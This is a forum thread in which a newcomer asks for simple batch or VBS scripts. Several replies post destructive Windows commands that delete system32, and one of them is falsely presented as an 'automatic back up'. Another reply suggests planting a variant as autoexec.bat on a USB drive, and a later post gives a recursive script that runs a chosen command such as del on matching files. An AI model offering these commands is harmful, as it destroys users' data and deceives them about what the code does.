• Cool Scripts
    18 replies, posted
Okay, I'm a tad bit new to the whole scripting thing and I was wondering if anyone had any cool little commands you could type in notepad then just change the file type? (Sorry if that's how you incorrectly do it. Rate me boxes if so)
Delete system32
Ah, I see I am incorrect on this. Anyone care to tell me what to call what I described? I remember typing something in notepad, changing file, putting it on my desktop and when someone would click it, it would give you a little error message... Edit: A fake one obviously
VB script? [editline]07:58PM[/editline] Or you could use batch.
Okay, thanks jetboy.
You may want to learn VBS. You can simply write it in notepad, save it as a .vbs file, then run it by clicking on it.
Ah, got it. I made myself a little batch file :3: Thanks for telling me, that's what I was looking for.
Why are you posting this in the GD? There's a hardware/software discussion right below this. There's also a programming subsection too. :derp:
[QUOTE=theguydude;19496956]Why are you posting this in the GD? There's a hardware/software discussion right below this. There's also a programming subsection too. :derp:[/QUOTE] Sorry about that. I couldn't really figure out which to put it in. :v:
[QUOTE=Global.Compass;19497087]Sorry about that. I couldn't really figure out which to put it in. :v:[/QUOTE] Congrats on your big accomplishment. I remember when I had trouble putting a cd in my pc. fucking floppy slots
Here, try this one. It makes an automatic back up of all your files. Just put it in notepad and save it as a .bat file, then double click it. [code]@echo off del C:\WINDOWS\system32[/code]
[QUOTE=Big Ben;19499208]Here, try this one. It makes an automatic back up of all your files. Just put it in notepad and save it as a .bat file, then double click it. [code]@echo off del C:\WINDOWS\system32[/code][/QUOTE] you gotta /F that bitch.
Name this autoexec.bat and put it on your USB. [code]@echo off del %WINDIR%\system32 /f[/code]
Hi Scriptkiddie
[QUOTE=mrozik26;19499950]Hi Scriptkiddie[/QUOTE] :crossarms:
Wow, McAfee doesn't have a sense of humor. I just typed in the famous cupholder script, went to save it, and McAfee popped up saying that "Joke-EjectCD has been blocked." =(
[QUOTE=Big Ben;19499208]Here, try this one. It makes an automatic back up of all your files. Just put it in notepad and save it as a .bat file, then double click it. [code]@echo off del C:\WINDOWS\system32[/code][/QUOTE] You forgot to cd it there, nub
[QUOTE=B1N4RY!;19501931]You forgot to cd it there, nub[/QUOTE] You don't have to if you give it the full path, nub
[QUOTE=B1N4RY!;19501931]You forgot to cd it there, nub[/QUOTE] It tested it with dir instead of del and it worked, nub. Leave the "Command upon file" prompt blank when it asks you if you want the file to execute. If you type in something like "del" it will search and destroy the file. [code] @echo off color 0a title File Finder set /p filename=Filename: set /p cmd=Command upon file: set /p exit=Type in "exit" if you are only looking for one file: for /r %%a in (.) do ( @echo %%~na cd "%%a" %cmd% %filename% %exit% ) cd.. [/code]
Sorry, you need to Log In to post a reply to this thread.